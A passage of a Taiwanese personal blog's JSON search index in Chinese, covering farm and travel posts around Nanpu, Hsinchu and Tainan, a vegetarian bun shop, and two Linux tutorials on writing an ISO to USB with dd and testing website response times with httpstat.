src=\"/personal/qixuan-drawing-20161213/qixuan-drawing-20161214-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20161213/qixuan-drawing-20161216-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20161213/qixuan-drawing-20161216-2.jpg\"\u003e\u003c/p\u003e","title":"阿玄的塗鴉畫 2016/12/13"},{"content":"本篇是我在新竹南埔拍攝的一些桂花照片。\n鄰居家自己種的桂花剛好最近開花開得很茂盛，剛好給我看到，就順便拍了幾張照片紀錄一下。\n南宋楊萬里《月桂》：「不是人間種，疑從月裡來，廣寒香一點，吹得滿山開」。\n","permalink":"https://blog.gtwang.org/agriculture/osmanthus-nanpu-hsinchu-20161210/","summary":"\u003cp\u003e本篇是我在新竹南埔拍攝的一些桂花照片。\u003c/p\u003e\n\u003cp\u003e鄰居家自己種的桂花剛好最近開花開得很茂盛，剛好給我看到，就順便拍了幾張照片紀錄一下。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"桂花\" loading=\"lazy\" src=\"/agriculture/osmanthus-nanpu-hsinchu-20161210/osmanthus-nanpu-hsinchu-20161210-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e南宋楊萬里《月桂》：「不是人間種，疑從月裡來，廣寒香一點，吹得滿山開」。\u003c/p\u003e","title":"[新竹南埔] 自己種的桂花"},{"content":"本篇是我在新竹南埔拍攝的樹豆照片。\n樹豆（cajanus cajan）是臺灣原住民族的重要糧食作物，它是豆科多年生作物，相當耐乾旱，在年雨量 650mm 的地區都還可以種植；成株可以長到一至兩公尺，所以被稱為樹豆。\n樹豆可先浸泡一夜,加水約三倍煮開後，關火約 30 至 40 分鐘，再以小火煮到軟熟，最後加入糖即可食用。若使用快鍋的話，也是先浸泡後，再以快鍋大火煮開後轉小火約20分鐘，熄火壓力退後再加糖即可，單獨烹煮或搭配紅豆、綠豆皆可。\n樹豆也可以加山藥、白蘿蔔、紅蘿蔔、豆腐等一起煮成鹹的，或是先泡水一晚再加入白米中一起煮。另外樹豆也可以像黃豆一樣打成豆漿飲用。\n這些是採收下來的樹豆，放在太陽下曝曬。\n參考資料 阿美族的零嘴-樹豆 ","permalink":"https://blog.gtwang.org/agriculture/cajanus-cajan-nanpu-hsinchu-20161210/","summary":"\u003cp\u003e本篇是我在新竹南埔拍攝的樹豆照片。\u003c/p\u003e\n\u003cp\u003e樹豆（cajanus cajan）是臺灣原住民族的重要糧食作物，它是豆科多年生作物，相當耐乾旱，在年雨量 650mm 的地區都還可以種植；成株可以長到一至兩公尺，所以被稱為樹豆。\u003c/p\u003e","title":"[新竹南埔] 樹豆：台灣原住民傳統作物"},{"content":"非常好吃素刈包是新竹市一家老字號的素食刈包，除了刈包之外，還有當歸藥膳湯、意麵、麵線，以及淮山百合滋養湯。\n我個人很喜歡吃刈包，以前在新竹的時候，常常會來這家位於林森路上的非常好吃素刈包光顧，今天剛好有去新竹出差，中午就順便再來這裡買個刈包當午餐。\n這家非常好吃素刈包就在林森路上，接近西大路。\n店名：非常好吃素刈包\n地址：新竹市林森路 129 號（一安蔘藥行旁）\n電話：(03) 523-5161\n營業時間：11：00 ～ 20：00\n備註：每週日公休\n網站：facebook 粉絲專頁\n這是非常好吃素刈包的菜單，除了刈包之外，還有當歸藥膳湯、意麵、麵線，以及淮山百合滋養湯。\n店內有幾張桌椅，也可以在這裡用餐。\n這就是非常好吃素刈包。\n裡面還有香菇。\n因為我趕時間，所以是買外帶的，在這裡先拍個幾張照片紀錄一下。\n這是非常好吃素刈包的名片。\n這是我外帶的刈包與當歸藥膳湯。\n這是我回家之後把當歸藥膳湯裝出來喝的樣子。\n這家非常好吃素刈包的店面曾經有一段時間遷移至地下道旁邊這裡，不過後來又遷回原本的林森路 129 號，所以請大家來買的時候，注意不要搞錯地點。\n","permalink":"https://blog.gtwang.org/life/delicious-pork-belly-bun-hsinchu-20161210/","summary":"\u003cp\u003e非常好吃素刈包是新竹市一家老字號的素食刈包，除了刈包之外，還有當歸藥膳湯、意麵、麵線，以及淮山百合滋養湯。\u003c/p\u003e\n\u003cp\u003e我個人很喜歡吃刈包，以前在新竹的時候，常常會來這家位於林森路上的非常好吃素刈包光顧，今天剛好有去新竹出差，中午就順便再來這裡買個刈包當午餐。\u003c/p\u003e","title":"[新竹素食] 非常好吃素刈包"},{"content":"台灣藜（亦稱紅黎）是台灣原住民耕作百年以上的傳統作物，其為一年生草本植物，植株生長強健、耐旱性極佳，而其中的穀粒被稱「料理界的紅寶石」，有抗癌、抗氧化的效果。\n紅藜的蛋白質含量與小麥相當，為稻米的 2 倍；膳食纖維高達則為燕麥的 3 倍，地瓜的 7 倍。礦物質含量方面，紅藜的含鈣特別豐富，是稻米的 42 倍，燕麥的 23 倍；鐵質與鋅的含量也很高，分別為地瓜的 11 倍與 8 倍。\n此外，紅藜也含有重要的硒與鍺元素，並具有全部九種高量人體無法自行合成的必需胺基酸，例如離胺酸（lysine）、纈胺酸和組胺酸等，其離胺酸為稻米的5倍，而離胺酸可幫助鈣質吸收，促進膠原蛋白合成，幫助抗體、荷爾蒙及酵素的製造等。另外含有甜菜紅素（Betacyanins）、甜菜黃素（Betaxanthins）、黃酮類（Flavonoids）等抗氧化物。紅藜也有很高的抗發炎效果。\n台北醫學大學最新研究發現，台灣紅藜可抑制大腸癌前期病變，詳細資料請參考風傳媒的報導。\n新竹南埔這裡所栽種的台灣紅黎是剛從台東農改場引進的，今年第一年嘗試栽種。\n尚未成熟的紅藜是綠色的，看起來跟一般的植物很相似，不太明顯。\n接近成熟的紅藜，整棵植株都會逐漸變成紅色的，非常漂亮。\n成熟的紅藜顏色很鮮豔，在綠色的田裡非常明顯。\n這是一大串成熟的紅藜果實。\n這是剛採收下來的紅藜。\n收割下來的紅藜要先曝曬。\n這些就是一顆一顆成熟的紅藜果實。\n","permalink":"https://blog.gtwang.org/agriculture/red-quinoa-nanpu-hsinchu-20161210/","summary":"\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E5%8F%B0%E6%B9%BE%E8%97%9C\"\u003e台灣藜\u003c/a\u003e（亦稱紅黎）是台灣原住民耕作百年以上的傳統作物，其為一年生草本植物，植株生長強健、耐旱性極佳，而其中的穀粒被稱「料理界的紅寶石」，有抗癌、抗氧化的效果。\u003c/p\u003e\n\u003cp\u003e紅藜的蛋白質含量與小麥相當，為稻米的 2 倍；膳食纖維高達則為燕麥的 3 倍，地瓜的 7 倍。礦物質含量方面，紅藜的含鈣特別豐富，是稻米的 42 倍，燕麥的 23 倍；鐵質與鋅的含量也很高，分別為地瓜的 11 倍與 8 倍。\u003c/p\u003e","title":"[新竹南埔] 台灣紅藜田：料理界的紅寶石"},{"content":"本篇介紹新竹南埔的一些景點。\n總汴頭 總汴頭是南埔水源分配上最重要的分流設施，南埔水圳流入南埔村後，在水頭處設立總汴頭，將圳水分流程三個部分，第一個部分導入庄內，灌溉村莊中北區的農田；第二部分導入山下圳，將水沿著觀音座蓮山腳，灌溉庄內西南面的農田；最後一部分導入一條與原水圳水流反方向的水圳，將水導引至南埔東區的水田。\n橘子 這裡有些農民在種植橘子的時候，沒有噴灑農藥，讓橘子自然生長，所以顏色跟市場上賣的的不同。\n水頭河底伯公 水頭河底伯公就是這裡的土地公，客家話的「伯公」就是土地公的意思。\n此處的河底伯公大約在一百六十年前開始祀奉，原位於大林橋下約 6～7 百公尺處的河道旁，八七水災時搶救至現址，和原址的水頭伯公併列在同一地點。\n楓樹、九芎樹、象棋數為伯公樹，原來僅為三粒石，並無神像，在民國九十七年現址改建為石刻小寺，刻石像神明，負責守護灌溉水源，成為南埔村重要的神明之一。\n南埔圳建於西元 1845 年（清道光 25 年）八月，由總墾戶金廣福及墾首姜家出資七百圓所築，在現今九份子崁下引大坪溪入圳，經大分林至南埔，全長三公里，灌溉南埔一帶面積約六十甲的水田。\n現在為苗栗農田水利會所管轄，水圳在 2011 年全村休耕一年全面整修，南埔圳共有 21 個隧道，幹線幾乎有一半以上都在隧道裡，是苗栗農田水利會轄內圳路最多隧道的圳渠。\n南埔百年水車 水車是用於將水位較低的水圳水，導入較高田中的灌溉工具，南埔水車已有一百多年歷史，是南埔陳煥祥先生的祖父陳開伯為了灌溉他所耕種的兩分多農田所興建的。\n南埔水車是比較少見的竹筒式水車，水車運轉的原理是利用水圳的水流帶動葉片，使水車轉動，讓汲水後的竹筒轉動至上方，將水倒入高地水田的集水槽中。\n這是南埔百年水車在轉動的影片。\n在水車轉動時，靠著竹筒就可以將水從低處帶往高處。\n這是南埔水圳中的小魚。\n南埔大橋 南埔橋在民國 14 年時只是一座吊橋，民國 55 年因颱風受損，後來改建成水泥橋，當時擔任立法院長的黃國書先生捐款十萬元，地方為了紀念其父親葉阿雍，因而命名為「雍伯橋」。\n民國 88 年時橋面拓寬，改名「南埔橋」，至於橋上的 100 圖案，是因應經費來源為 87 年北埔國小 100 週年校慶，省府補助款而設計，如今卻成為遊客爭相前來祈求圓滿的百分橋。\n生龍口 生龍口此處原來是個凹地，從前南埔圳流經此處時，是利用麻竹水管或 U 型木板水道來通水。百年前一位佃農把低凹處填高讓水圳通過，結果南埔地區立刻雞不啼、狗不吠，整村開始流行人瘟。\n某地理師見狀，就叫此佃農將之恢復原貌，人瘟的情形立刻就停止。據說龍氣「過河不過圳」，至今仍以過水橋方式在上面通過，大家都說此處是南埔的風水寶地。\n浮圳頭 生龍口的位置原來是個凹地，從前南埔圳流經生龍口這個凹地時，是利用麻竹水管或 U 型木板來通水，這個設施地方人稱為浮圳，這個水汴頭因靠近生龍口的浮圳處，地方就稱此處為浮圳頭。\n洗衫亭 南埔圳流入庄內，庄內村民就聚集在此處洗衣，長年來水圳上只有洗衣板，並沒有遮蔭避雨的亭子，洗衫原是村內婦女每天須做的家事，民國 96 年社區營造時，形成興建洗衫亭的構想，由村民構思、主動參與設計，大家共同努力，胼手胝足，傳承古早工法建造而成，命名為「同心亭」及「協力亭」，現成為南埔村民話家常、搏感情的好所在。\n石爺公 石爺公又稱為石頭公、石佛爺、石聖公，民間相傳拜石爺可使孩童身體健康，保佑頭殼堅硬，在傳統習俗小孩滿周歲會認石爺做「契父」，將祈求的平安符戴在胸前，稱為「戴絭」，每年石爺生日（農曆四月八日）時，都會前往換新的平安符，稱為「換絭」。\n民國 96 年開始，南埔在石爺生日時舉辦石爺祭，成為南埔重要的文化活動。\n南埔南昌宮 BK 坊柴燒磚窯麵包 BK 坊柴燒磚窯麵包是南埔這邊有名的一家麵包店。\n蕭家墓園 蕭家是南埔開墾時第一大戶，每年農曆正月二十日祭祖的時節，其子孫齊聚為地方盛事。\n","permalink":"https://blog.gtwang.org/life/nanpu-hsinchu-20161210/","summary":"\u003cp\u003e本篇介紹新竹南埔的一些景點。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"總汴頭\"\u003e總汴頭\u003c/h2\u003e\n\u003cp\u003e總汴頭是南埔水源分配上最重要的分流設施，南埔水圳流入南埔村後，在水頭處設立總汴頭，將圳水分流程三個部分，第一個部分導入庄內，灌溉村莊中北區的農田；第二部分導入山下圳，將水沿著觀音座蓮山腳，灌溉庄內西南面的農田；最後一部分導入一條與原水圳水流反方向的水圳，將水導引至南埔東區的水田。\u003c/p\u003e","title":"[新竹旅遊景點] 南埔黃金水鄉：百年水車、石爺公、生龍口、BK 坊柴燒磚窯麵包"},{"content":"這是在新竹南埔拍攝的紅芽石楠照片。\n紅芽石楠剛發出來的嫩芽呈現鮮紅色，適合栽培做籬垣或庭園樹。\n","permalink":"https://blog.gtwang.org/agriculture/japanese-photinia-nanpu-hsinchu-20161210/","summary":"\u003cp\u003e這是在新竹南埔拍攝的紅芽石楠照片。\u003c/p\u003e\n\u003cp\u003e紅芽石楠剛發出來的嫩芽呈現鮮紅色，適合栽培做籬垣或庭園樹。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-7.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"紅芽石楠\" loading=\"lazy\" src=\"/agriculture/japanese-photinia-nanpu-hsinchu-20161210/japanese-photinia-nanpu-hsinchu-20161210-8.jpg\"\u003e\u003c/p\u003e","title":"[新竹南埔] 紅芽石楠"},{"content":"這是自己家種的波羅蜜樹，今年結了三大顆果實，拍照紀錄一下。\n","permalink":"https://blog.gtwang.org/agriculture/paramita-nanpu-hsinchu-20161210/","summary":"\u003cp\u003e這是自己家種的波羅蜜樹，今年結了三大顆果實，拍照紀錄一下。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"波羅蜜\" loading=\"lazy\" src=\"/agriculture/paramita-nanpu-hsinchu-20161210/paramita-nanpu-hsinchu-20161210-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"波羅蜜\" loading=\"lazy\" src=\"/agriculture/paramita-nanpu-hsinchu-20161210/paramita-nanpu-hsinchu-20161210-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"波羅蜜\" loading=\"lazy\" src=\"/agriculture/paramita-nanpu-hsinchu-20161210/paramita-nanpu-hsinchu-20161210-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"波羅蜜\" loading=\"lazy\" src=\"/agriculture/paramita-nanpu-hsinchu-20161210/paramita-nanpu-hsinchu-20161210-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"波羅蜜樹\" loading=\"lazy\" src=\"/agriculture/paramita-nanpu-hsinchu-20161210/paramita-nanpu-hsinchu-20161210-5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"波羅蜜\" loading=\"lazy\" src=\"/agriculture/paramita-nanpu-hsinchu-20161210/paramita-nanpu-hsinchu-20161210-6.jpg\"\u003e\u003c/p\u003e","title":"[新竹南埔] 波羅蜜樹"},{"content":"這裡介紹如何在 Linux 中將一般 Linux 的 ISO 檔用 dd 指令寫入 USB 隨身碟，製作成 Live USB 或是安裝系統用的隨身碟。\n大部分的 Linux 發行版都會以 ISO 映像檔的形式提供使用者下載，以前大家都會將 ISO 映像檔用燒錄成 CD 或 DVD 安裝光碟，再放進機器的光碟機中安裝系統，不過現在光碟片已經逐漸被 USB 隨身碟所取代了，有些新電腦甚至已經不再配有光碟機，以 USB 隨身碟的方式來安裝系統已經成為主流。\n製作 Linux 的 USB 安裝隨身碟時，會將 USB 隨身碟內的資料完全刪除，所以使用前請先確認沒有任何重要資料在 USB 隨身碟中。\n如果手上沒有可用的 USB 隨身碟，也可以拿 SD 或 MicroSD 等記憶卡，接上讀卡機之後也可以作為安裝 Linux 用的儲存媒體，其使用方式跟一般的 USB 隨身碟一模一樣。\nStep 1\n將 USB 隨身碟插入 Linux 的電腦中，查詢一下目前所有硬碟與 USB 隨身碟的狀況。\nlsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 1 7.6G 0 disk └─sda1 8:1 1 7.6G 0 part /media/pi/ESD-USB sdc 8:33 1 7.4G 0 disk └─sdc1 8:33 1 7.4G 0 part /media/pi/disk mmcblk0 179:0 0 14.9G 0 disk ├─mmcblk0p1 179:1 0 63M 0 part /boot └─mmcblk0p2 179:2 0 14.8G 0 part / 一般來說在 USB 隨身碟插入 Linux 系統之後，系統會自動將其掛載，我們必須先從這個列表中找出我們要使用的 USB 隨身碟是那一個，最簡單的方式就是從這裡的 SIZE 來看，若看不出來的話，就打開其掛載的目錄，實際看一下裡面的內容。\n這裡我所要使用的 USB 隨身碟是掛載在 /media/pi/disk 這一個位置，而其對應的硬碟路徑則是 /dev/sdc，找到這個代號之後，就可以繼續下一步了。\n在判斷磁碟代號的時候，要非常小心，絕對不可以搞錯，如果誤判磁碟代號的話，在執行後續的資料寫入動作時，就會可能造成整個系統損毀。\nStep 2\n從 Linux 的桌面環境下卸載 USB 隨身碟（在檔案總管按下退出的按鈕），或是使用指令卸載：\numount /media/pi/disk 卸載後再次確認一下卸載的 USB 隨身碟是否正確：\nlsblk Step 3\n使用 dd 指令將 Linux 的 ISO 映像檔寫入 USB 隨身碟：\nsudo dd if=ubuntu-16.10-desktop-amd64.iso of=/dev/sdc bs=1M 這個指令是將整個 ISO 檔的內容寫入 USB 隨身碟，所以要等比較久一點，在寫入的期間並不會有任何輸出訊息，完成後會出現類似這樣的訊息：\n/dev/sdc bs=1M 1520+0 records in 1520+0 records out 1593835520 bytes (1.6 GB) copied, 493.732 s, 3.2 MB/s 這樣就完成了 USB 隨身碟的製作了，接著就可以將隨身碟拔下來，插入要安裝 Linux 系統的機器進行安裝了。\n這個製作 USB 隨身碟的步驟適用於各種 Linux 環境，我這篇是在樹莓派上製作 Ubuntu Linux 的 USB 安裝隨身碟，關於 dd 指令更詳細的用法，請參考 dd 指令教學與實用範例。\n","permalink":"https://blog.gtwang.org/linux/linux-dd-command-write-iso-to-usb-flash-drive/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中將一般 Linux 的 ISO 檔用 \u003ccode\u003edd\u003c/code\u003e 指令寫入 USB 隨身碟，製作成 Live USB 或是安裝系統用的隨身碟。\u003c/p\u003e\n\u003cp\u003e大部分的 Linux 發行版都會以 ISO 映像檔的形式提供使用者下載，以前大家都會將 ISO 映像檔用燒錄成 CD 或 DVD 安裝光碟，再放進機器的光碟機中安裝系統，不過現在光碟片已經逐漸被 USB 隨身碟所取代了，有些新電腦甚至已經不再配有光碟機，以 USB 隨身碟的方式來安裝系統已經成為主流。\u003c/p\u003e","title":"Linux 使用 dd 指令將 ISO 檔製作成 Live USB 隨身碟"},{"content":"西港玉勅慶安宮是台南有名的旅遊景點，這裡被稱為臺灣第一大香醮的「西港刈香」也是台灣宗教百景之一。\n西港玉勅慶安宮位於臺灣臺南市西港區，主祀天上聖母，至今已有三百多年的歷史，據說慶安宮最早是供俸隨鄭成功部隊來台的城隍境主及中壇元帥，後因為香火鼎盛、神威顯赫，而於清朝康熙五十一年（西元 1712 年）將原有簡陋的神壇改建為小型廟宇，並且署名為「慶安宮」，隨後從鹿耳門媽祖廟恭迎天上聖母入宮奉祀。\n自清朝乾隆四十九年（西元 1784 年）開始，每三年有一次建醮大典，也就是著名的「西港刈香」，這個民俗活動也被行政院文建會核定為國定重要民俗文化資產之一。\n慶安宮前的廣場很大，平常沒有活動的時候都可以停車，如果有活動的話就會圍起來。\n這是慶安宮的大門。\n這是慶安宮大門口的康元帥、辛元帥，還有范、謝將軍。\n正殿內有兩層樓。\n這是正殿的天上聖母。\n正殿兩旁有千里眼與順風耳。\n這是正殿的福德正神。\n這是主殿的註生娘娘。\n這是文衡殿的關聖帝君。\n在文衡聖帝後方的是延平郡王。\n這是城隍殿的城隍境主。\n在城隍殿後方的是保生大帝。\n阿玄在這裡也玩得很開心。\n這是慶安宮門口的台灣宗教百景「西港刈香」的說明。\n以下是慶安宮的一些文物。\n名稱：西港玉勅慶安宮\n地址：臺南市西港區慶安路 32 號\n電話：(06) 795-2034\n網站：官方網站、facebook 粉絲專頁、YouTube、維基百科\n","permalink":"https://blog.gtwang.org/life/qingangong-temple-sigang-tainan-20161204/","summary":"\u003cp\u003e西港玉勅慶安宮是台南有名的旅遊景點，這裡被稱為臺灣第一大香醮的「西港刈香」也是台灣宗教百景之一。\u003c/p\u003e\n\u003cp\u003e西港玉勅慶安宮位於臺灣臺南市西港區，主祀天上聖母，至今已有三百多年的歷史，據說慶安宮最早是供俸隨鄭成功部隊來台的城隍境主及中壇元帥，後因為香火鼎盛、神威顯赫，而於清朝康熙五十一年（西元 1712 年）將原有簡陋的神壇改建為小型廟宇，並且署名為「慶安宮」，隨後從鹿耳門媽祖廟恭迎天上聖母入宮奉祀。\u003c/p\u003e","title":"[台南旅遊景點] 西港玉勅慶安宮：玉勅代天巡狩十二瘟王，西港刈香"},{"content":"位於新市南科的樹谷農場有許多的小動物可以供遊客餵食，適合帶小朋友來這邊玩。\n之前帶阿玄坐新營的五分車到乳牛的家餵小動物，後來他說還想再去，所以這次我又上網找了一下附近哪裡有比較近的景點，而且可以餵食小動物的地方。\n其實在台南這類的農場與景點還滿多的，而這次我們剛好要去善化採酵素的高麗菜，所以就選擇了南科的樹谷農場，它其實就是原來的奇美農場，在民國 105 年之後搬遷到樹谷生活科學館旁邊，改名為樹谷農場。\n名稱：樹谷農場\n地址：台南市東區中心東路 12 號\n網站：樹谷農場官方網站\n我們中午在西港的蓮華素食吃完午餐之後，在西港慶安宮休息一下之後，到了下午兩點多就開車過來這邊，而樹谷生活科學館大門前面沒什麼停車位（都停滿了），所以我們繞過來停在游泳池這一側，這邊車位很多非常好停車。\n從這邊的停車場走過來，可以直接看到樹谷農場的鴕鳥。\n樹谷農場就在樹谷生活科學館旁。\n這就是樹谷農場的大門。\n樹谷農場入園就要收費，每個人 50 元，有附贈一組餵食材料。\n農場裡面有很多的小動物，小朋友可以選擇喜歡的動物來餵食。\n這是門口的山羊。\n山羊很喜歡吃紅蘿蔔。\n這是阿玄在餵食山羊的影片。\n這是鵝。\n也可以餵羊吃牧草。\n這是阿玄在餵羊吃牧草的影片。\n這是一隻母雞帶著好幾隻小雞，小雞有時候會從柵欄的網子跑出來。\n雞的話可以餵食飼料。\n這裡的山羊還滿多隻的。\n這個應該是雉雞。\n阿玄餵雉雞。\n山羊也可以餵食飼料。\n這是兔子。\n阿玄拿牧草餵兔子。\n這是鴕鳥。\n鴕鳥吃飼料的樣子。\n這個是馬。\n馬的話也是可以餵牧草。\n雞的話就是餵飼料了。\n這裡還有梅花鹿。\n在入口處有一個小羊餵奶區，若要餵奶的話就要加購，現在特價 39 元。\n有些小羊也會吃紅蘿蔔。\n飼料牠也會吃。\n逛完了樹谷農場，就順便來樹谷生活科學館這邊走一走。\n這邊有很多恐龍的遊樂設施。\n這個在路上的恐龍是投代幣就會走的。\n這是另外一隻恐龍。\n這邊還有這種大型的恐龍，這隻暴龍也是投代幣就會動的。\n樹谷生活科學館的後方有一大片草坪。\n在樹谷生活科學館的對面有一家 7-ELEVEN，買東西很方便。\n這是阿玄回家之後，自己畫的塗鴉。\n","permalink":"https://blog.gtwang.org/life/tree-valley-farm-xinshi-tainan-20161205/","summary":"\u003cp\u003e位於新市南科的樹谷農場有許多的小動物可以供遊客餵食，適合帶小朋友來這邊玩。\u003c/p\u003e\n\u003cp\u003e之前帶阿玄坐\u003ca href=\"/life/xinying-sugar-railways-20161106/\"\u003e新營的五分車到乳牛的家餵小動物\u003c/a\u003e，後來他說還想再去，所以這次我又上網找了一下附近哪裡有比較近的景點，而且可以餵食小動物的地方。\u003c/p\u003e\n\u003cp\u003e其實在台南這類的農場與景點還滿多的，而這次我們剛好要\u003ca href=\"/life/cabbage-garden-shanhua-tainan-20161204/\"\u003e去善化採酵素的高麗菜\u003c/a\u003e，所以就選擇了南科的樹谷農場，它其實就是原來的奇美農場，在民國 105 年之後搬遷到樹谷生活科學館旁邊，改名為樹谷農場。\u003c/p\u003e","title":"[台南旅遊景點] 南科樹谷農場，樹谷生活科學館旁（原奇美農場）"},{"content":"今天早上我們到善化的酵素高麗菜園採高麗菜，阿玄第一次來採高麗菜，玩得很開心。\n這個酵素高麗菜園位於善化，每年都會有開放現場採高麗菜的時間，還會有從善化火車站的接駁車，不過我們今天是自己開車來的。\n高麗菜園從這個龍鳳宮的路口進去就到了。\n這是高麗菜園的入口。\n由於我們來的比較晚，稍早有很多人已經先來採過了，所以菜園裡面都是剛被採過的高麗菜。\n因為高麗菜的重量很重，阿玄有點拿不穩。\n這個高麗菜園是使用稀釋的環保酵素來噴灑，不使用農藥，所以可以放心讓小朋友來採。\n阿玄今天第一次來高麗菜園採高麗菜，感覺非常新奇。\n阿玄背著一顆剛採好的高麗菜。\n阿玄把剛割下來的高麗菜裝袋，因為很重，所以阿玄拿不太穩。\n用酵素種的高麗菜，外觀感覺很漂亮。\n阿玄在高麗菜園裡面玩。\n採玩高麗菜之後，繼續來採四季豆。\n阿玄自己採的四季豆。\n很好玩的樣子。\n一整袋的四季豆。\n","permalink":"https://blog.gtwang.org/life/cabbage-garden-shanhua-tainan-20161204/","summary":"\u003cp\u003e今天早上我們到善化的酵素高麗菜園採高麗菜，阿玄第一次來採高麗菜，玩得很開心。\u003c/p\u003e\n\u003cp\u003e這個酵素高麗菜園位於善化，每年都會有開放現場採高麗菜的時間，還會有從善化火車站的接駁車，不過我們今天是自己開車來的。\u003c/p\u003e","title":"[善化] 酵素高麗菜園，阿玄採高麗菜"},{"content":"httpstat 是一個用於網站效能測試的 Python 指令稿，可在終端機下測試伺服器的回應速度。\nhttpstat 是一個以純 Python 寫成的網站效能測試工具，這個工具只有單一個 Python 指令稿，僅需要 Python 的執行環境，不需要依賴任何其他的函數庫，不管是攜帶或使用上都很方便。\n名稱：httpstat 網站效能測試工具\n網站：GitHub\n這個 httpstat 其實本質上就是一個 cURL 的包裝工具，所以它可以接受各種 cURL 的功能參數。（-w、-D、-o、-s 與 -S 例外，因為這些已經被 httpstat 內部使用了）\n以下就是 httpstat 的安裝與使用方式教學，還有許多實物上的範例指令。\n下載與安裝 httpstat 在 Linux 中有兩種方式可以安裝 httpstat，一種是直接下載 httpstat 的指令稿：\nwget -c https://raw.githubusercontent.com/reorx/httpstat/master/httpstat.py 另外一種是使用 Python 的 pip 安裝：\nsudo pip install httpstat httpstat 使用方式 httpstat 的使用方式非常單純，只要使用 Python 執行它，並指定要測試的網站網址即可：\npython httpstat.py http://www.google.com.tw/ 或是\nhttpstat http://www.google.com.tw/ 測試的結果輸出會像這樣：\n整個網路連線所耗費的時間分為四段：\nDNS Lookup：DNS 名稱解析所耗費的時間。 TCP Connection：實際與網頁伺服器建立 TCP 連線所耗費的時間。 Server Processing：網頁伺服器在處理網頁請求所耗費的時間。 Content Transfer：傳送網頁內容至瀏覽器所耗費的時間。 從這個報表我們就可以大約看出網站目前的運行情況是否正常。\n我們也可以把網址的 http:// 省略，簡寫成這樣也可以：\npython httpstat.py www.google.com.tw httpstat 也可以進行 HTTP 的 POST 連線測試：\npython httpstat.py httpbin.org/post -X POST --data-urlencode \u0026#34;x=y\u0026#34; -v 測試的結果如下：\n這裡我們加上了幾個參數：\n-X：指定 HTTP 的請求連線方式，例如 GET 或 POST 等。 --data-urlencode：指定傳送的資料。 -v：顯示詳細的輸出訊息。 這些參數都是 cURL 的標準參數，詳細的說明可以參考 cURL 的 man page：\nman curl httpstat 除了可以使用 cURL 的標準參數之外，還有一些環境變數的選項可以使用，我們可以從 httpstat 的使用說明查看：\npython httpstat.py -h 以下是測試檔案上傳的指令，並且設定 HTTPSTAT_SHOW_SPEED 環境變數，顯示上傳與下載速度：\nHTTPSTAT_SHOW_SPEED=true python httpstat.py httpbin.org/post -X POST -F name=test -F filedata=@local.jpg -v 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/httpstat-curl-statistics-tool-to-check-website-performance/","summary":"\u003cp\u003e\u003ccode\u003ehttpstat\u003c/code\u003e 是一個用於網站效能測試的 Python 指令稿，可在終端機下測試伺服器的回應速度。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ehttpstat\u003c/code\u003e 是一個以純 Python 寫成的網站效能測試工具，這個工具只有單一個 Python 指令稿，僅需要 Python 的執行環境，不需要依賴任何其他的函數庫，不管是攜帶或使用上都很方便。\u003c/p\u003e","title":"Linux 命令列 httpstat 網站效能測試工具"},{"content":"pCloud 的 500GB 終身雲端硬碟可以擴充硬碟空間，快速同步不同電腦與手機之間的檔案，還可以很方便的分享給別人，支援 Windows、Mac OS X、Linux、iOS 與 